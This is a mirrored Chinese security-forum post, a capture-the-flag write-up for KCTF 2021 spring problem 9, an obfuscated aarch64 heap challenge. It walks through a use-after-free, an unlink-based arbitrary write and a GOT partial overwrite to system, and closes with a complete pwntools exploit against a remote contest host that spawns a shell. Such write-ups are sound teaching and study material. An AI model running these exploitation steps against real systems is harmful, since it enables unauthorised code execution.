11

[原创]看雪.深信服 2021 KCTF 春季赛 第九题 平定战乱

 3 years ago
source link: https://bbs.pediy.com/thread-267806.htm
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
[原创]看雪.深信服 2021 KCTF 春季赛 第九题 平定战乱-CTF对抗-看雪论坛-安全社区|安全招聘|bbs.pediy.com
[原创]看雪.深信服 2021 KCTF 春季赛 第九题 平定战乱
6天前 1189

pwn题二连:

$ file main
main: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, stripped
$ checksec main
Arch:     aarch64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

linux aarch64的elf文件,没开pie(所以text段和data段地址固定),没开full relro(所以got表可写),开了NX(数据不可执行,但是否生效要看环境)


菜单堆题
ida逆向,发现开了ollvm混淆,找了几个去混淆的工具,要么跑不起来,要么没效果/有问题(求推荐目前最好用的去混淆工具)

直接硬看,识别出几个函数:
sub_403CE0:add
sub_404400:edit
sub_4041B4:delete
sub_403908:readline,遇到\n结尾则改成\0,不以\n结尾则不变(所以没有0截断)
sub_403B10:readint,先readline然后对字符串调用strtol
sub_402058:自己实现的malloc
sub_400994:自己实现的free

add:分配的堆块指针保存在0x4161B0开始的char *数组的第一个空位置,最多能保存16个;size保存在0x4160AC开始的unsigned int数组中
edit:给一个[0, 16)的index,如果对应index的位置不为空则可以写入最多size个字节
delete:给一个[0, 16)的index,free掉对应index的堆块

漏洞在delete中,free后没有把指针置零,后续的edit仍能写入,造成UAF


malloc和free比较复杂,混淆去不掉根本看不动。搭环境动态调试,在ubuntu上可以直接安装:

apt-get install qemu-user libc6-arm64-cross gdb-multiarch
qemu-aarch64 -L /usr/aarch64-linux-gnu ./main
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./main
gdb-multiarch -ex "target remote localhost:1234"

经过反复试验,堆的设计应该是这样的:

struct chunk {
uint64_t prev_size;
uint64_t size;
uintptr_t fd;
uintptr_t bk;
};

与glibc的堆很相似,chunk按照内存地址从小到大连续排布,根据prev_size和size可以找到前一个和后一个堆块。

在malloc时,用户传入的size先向上对齐到16字节,然后再加上16字节(用来保存prev_size和size),对应到最终分配的chunk的size
size域的最低一个bit指示前一个堆块是否空闲,1表示前一个堆块是空闲的,0表示前一个堆块在使用中(与glibc的PREV_INUSE正好相反)
返回给用户的指针指向chunk的fd域

free的堆块由fd和bk组成双向链表,注意fd和bk指向的是chunk的fd域的地址而不是头部,全局变量0x416190(也是一个struct chunk结构)是链表的头(与glibc的unsorted_bin类似)。链表为空时0x416190的fd和bk都指向自己的fd域的地址(0x4161A0)。

对同样大小的chunk,0x416110的数组的对应下标保存了指向最后释放的chunk的头部(prev_size域)的指针(类似于glibc的fastbin)。
0x4160A0保存着当前已分配区域的末尾的指针(类似于glibc的topchunk)

free的过程:
把堆块从尾部插入"unsorted bin"(从0x416190的bk开始),然后同时插入对应size的"fastbin"中(如果"fastbin"该位置非空,替换之)

malloc的过程:

  1. 如果"fastbin"里该大小的位置非空,则优先从这里取chunk
  2. 否则,倒序遍历"unsorted bin"链表(从0x416190的bk开始),找第一个size与待分配大小 完全相等 的堆块,如果找到,将其从双向链表解链(unlink),返回
  3. 否则,从"topchunk"分配堆块,然后抬升0x4160A0指针

整个堆分配器没有堆块的拆分与合并


UAF能任意覆盖fd和bk(注意输入没有0截断),很容易想到2.23时代针对双向链表的经典攻击方法unlink:
假设当前堆块是P,则把P从双链表解链的操作为:

NEXT = P->fd
PREV = P->bk
NEXT -> bk = PREV
PREV->fd = NEXT

因此如果能控制P->fd和P->bk,就有机会实现任意写

但是,malloc和free中有很多检查需要bypass掉:

"Size check!"
"Wrong heap! "
"Wrong ptr!"
"Wrong size!"
"Wrong next_chunk size!"
"Wrong pre_chunk size!"
"Double link list error!"
"Top chunk error!"

看描述,这些检查其实glibc里也有,只是不知道题目里的触发时机和条件是否和glibc一样。

(堆块的分配原理可以通过动态调试看出来,但这些检查就不容易看出来了(因为正常情况下不会触发)。OLLVM的恶心之处在这里才真正体现出来,如果没有混淆,通过静态分析能很容易找出这些检查在什么情况下会触发)

混淆去不掉,只好猜+动态调试验证。

"Double link list error!":双链表完整性检查,一般发生在即将解链的时候,检查P->fd->bk == P && P->bk->fd == P。题目里的fd和bk指向的是chunk的fd域,因此有一点微调,但基本一致,可以用经典方法绕过。

"Size check!":在用2.23常规堆题的经典unlink方法试验时总是触发这个错误,完全搞不明白,但好像把待unlink的堆块的fd指向的堆块的下一个堆块的size赋值正确就能通过这个检查?

另外注意到malloc里有很对对size域& 0xF0的操作很可疑,因此怀疑size域实际上只有最低的一个字节有用,试验发现确实如此。


下面开始构造,这是全局的content数组:

0x4161B0:index 0
0x4161B8:index 1
0x4161C0:index 2
0x4161C8:index 3
0x4161D0:index 4 fakechunk2
0x4161D8:index 5 fakechunk2
0x4161E0:index 6 fakechunk2
0x4161E8:index 7 fakechunk2 -> 0x4161C0 (-> changed to 0x416200)
0x4161F0:index 8 fakechunk3
0x4161F8:index 9 fakechunk3
0x416200:index 10 fakechunk3 -> 0x4161C0 (-> changed to 0x4161E0)
0x416208:index 11 fakechunk3
0x416210:index 12 fakechunk4
0x416218:index 13 fakechunk4
0x416220:index 14
0x416228:index 15

注意到第一次分配的堆块的地址总是0x30结尾,因此先add(0xe0, "0")分配一个0xf0大小的堆块,这样第二个堆块的地址就会以0x120结尾
然后不断的add(0x10)再delete,将index 1到index 13的全部填充为同一个大小为0x20的堆块地址,且这个地址恰好也以0x20结尾

然后直接用libc2.23时代的经典unlink攻击:UAF修改这个堆块的fd为0x4161E0,bk为0x416200(因为程序没开pie,所以这两个地址是固定的)
注意(P->fd - 0x10)->bk = 0x4161D0->bk = (0x4161E8) = P, (P->bk - 0x10)->fd = 0x4161F0->fd = *(0x416200) = P,满足双向链表的完整性检查
另外保证0x4161D8、0x4161F8、0x416218三个地方& 0xF0以后等于0x20,保证不出现"Size Check!"
(实际上应该用不到这么多堆块,这里为了不深究检查的触发条件就多构造了一些值)

然后分配一个新的0x20大小的堆块(malloc(0x10)),触发unlink,结果是0x416200处的值被修改为了0x4161E0,0x4161E8处的值被修改为了0x416200

至此得到了任意写:(受限于readline的\n截断,待写入的地址和值不能包含"\n")
先通过index 10把0x4161E0(index6)的值改为目标地址,再通过index6向目标地址写内容


下一步是如何通过任意写获得shell,在题目给出libc之后变得非常简单:
查到strtol在libc的偏移是0x358a8,system在libc的偏移是0x3dda8,二者相差不超过0x10000,因此经过地址随机化之后有概率保证地址的高6字节都相同。
对于地址的低16位,其中低12位是不受随机化影响的,剩下的四位可以爆破
利用任意写,只改低2个字节(partial overwrite,也是经典方法),有1/16的概率把strtol的got表值覆盖为system函数的地址。而strtol在readint时被调用,第一个参数是给菜单的输入,是完全可控的,可以输入"/bin/sh"获得shell


最终的exp:(1/16的成功率)

from pwn import *
def add(size, content):
global s
s.sendlineafter("1. add\n2. delete\n3. edit\n4. exit\nYour choice: ", "1")
s.sendlineafter("Size: ", str(size))
s.sendafter("Content: ", content)
def delete(index):
global s
s.sendlineafter("1. add\n2. delete\n3. edit\n4. exit\nYour choice: ", "2")
s.sendlineafter("Index: ", str(index))
def edit(index, content):
global s
s.sendlineafter("1. add\n2. delete\n3. edit\n4. exit\nYour choice: ", "3")
s.sendlineafter("Index: ", str(index))
s.sendafter("Content: ", content)
s = remote("121.36.145.157", 55555)
add(0xe0, "0")
add(0x10, "1")
delete(1)
add(0x10, "2")
delete(2)
add(0x10, "3")
delete(3)
add(0x10, "4")
delete(4)
add(0x10, "5")
delete(5)
add(0x10, "6")
delete(6)
add(0x10, "7")
delete(7)
add(0x10, "8")
delete(8)
add(0x10, "9")
delete(9)
add(0x10, "10")
delete(10)
add(0x10, "11")
delete(11)
add(0x10, "12")
delete(12)
add(0x10, "13")
delete(13)
edit(4, p64(0x4161E0)+p64(0x416200))
add(0x10, "14")
def writeq(addr, value):
edit(10, p64(addr))
edit(6, p64(value) if type(value)==int else value)
def writebytes(addr, b):
for i in range(0, len(b), 8):
writeq(addr+i, b[i:i+8])
writebytes(0x416040, b"\xa8\xdd")
s.sendlineafter("1. add\n2. delete\n3. edit\n4. exit\nYour choice: ", "/bin/sh")
s.interactive()

因为题目刚开始没给libc,所以在获得任意写之后首先思考的是如何leak,然而程序里没有输出堆块内容的函数。
考虑过通过修改stdout泄露、dl-resolve直接搞system,觉得都不可行。

利用任意写改掉got表函数地址的最低字节然后看程序能否正常运行,搞出了部分函数的最低字节地址,然后去libc database搜索并没有结果(看了题目最后给出的libc,是linaro的,大概database里没收录)

考虑题目是不是偷懒用qemu-aarch64启动的(如果是这样,NX和ASLR都是无效的,也就是说可以直接在bss段写shellcode跳过去),本地成功了远程不行,沟通后确认远程是用qemu-system-aarch64启动的(偷鸡失败)。

直接猜system函数低12位的地址爆破:看了多个版本的libc,strtol和system的距离都很近,这样只要猜对就有1/16的概率成功,而aarch64 libc的导出函数都是0或8结尾,所以开512个进程爆破应该是可以接受的。
太过暴力,想了想还是决定先放了,厚颜无耻的询问能否提供libc(打算如果不给再爆破),然后出题方很大方的给了。


题目不给libc应该是想考察如何获得任意读。这一点最开始确实没反应过来,沟通后才恍然大悟:
前面获得shell的方法是把strtol覆盖为system,利用第一个参数可控传入"/bin/sh"字符串。
由于第一个参数可控,如果把strtol覆盖为printf在plt表的地址,就得到了一个格式化字符串漏洞(而且格式化串在栈上,还能反复利用),可以任意地址读/写。

利用任意读,可以遍历linkmap获得libc的基地址(linkmap的地址保存在got表前面,0x415ff0处,linkmap+0x18是指向下一个linkmap的指针,linkmap+0x8是指向共享库的名称的指针,limkmap+0x0是共享库的基地址),然后dump出libc的文件头或者用pwntools的DynELF获得system函数的偏移

[看雪官方培训] Unicorn Trace还原Ollvm算法!《安卓高级研修班》2021年6月班火热招生!!


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK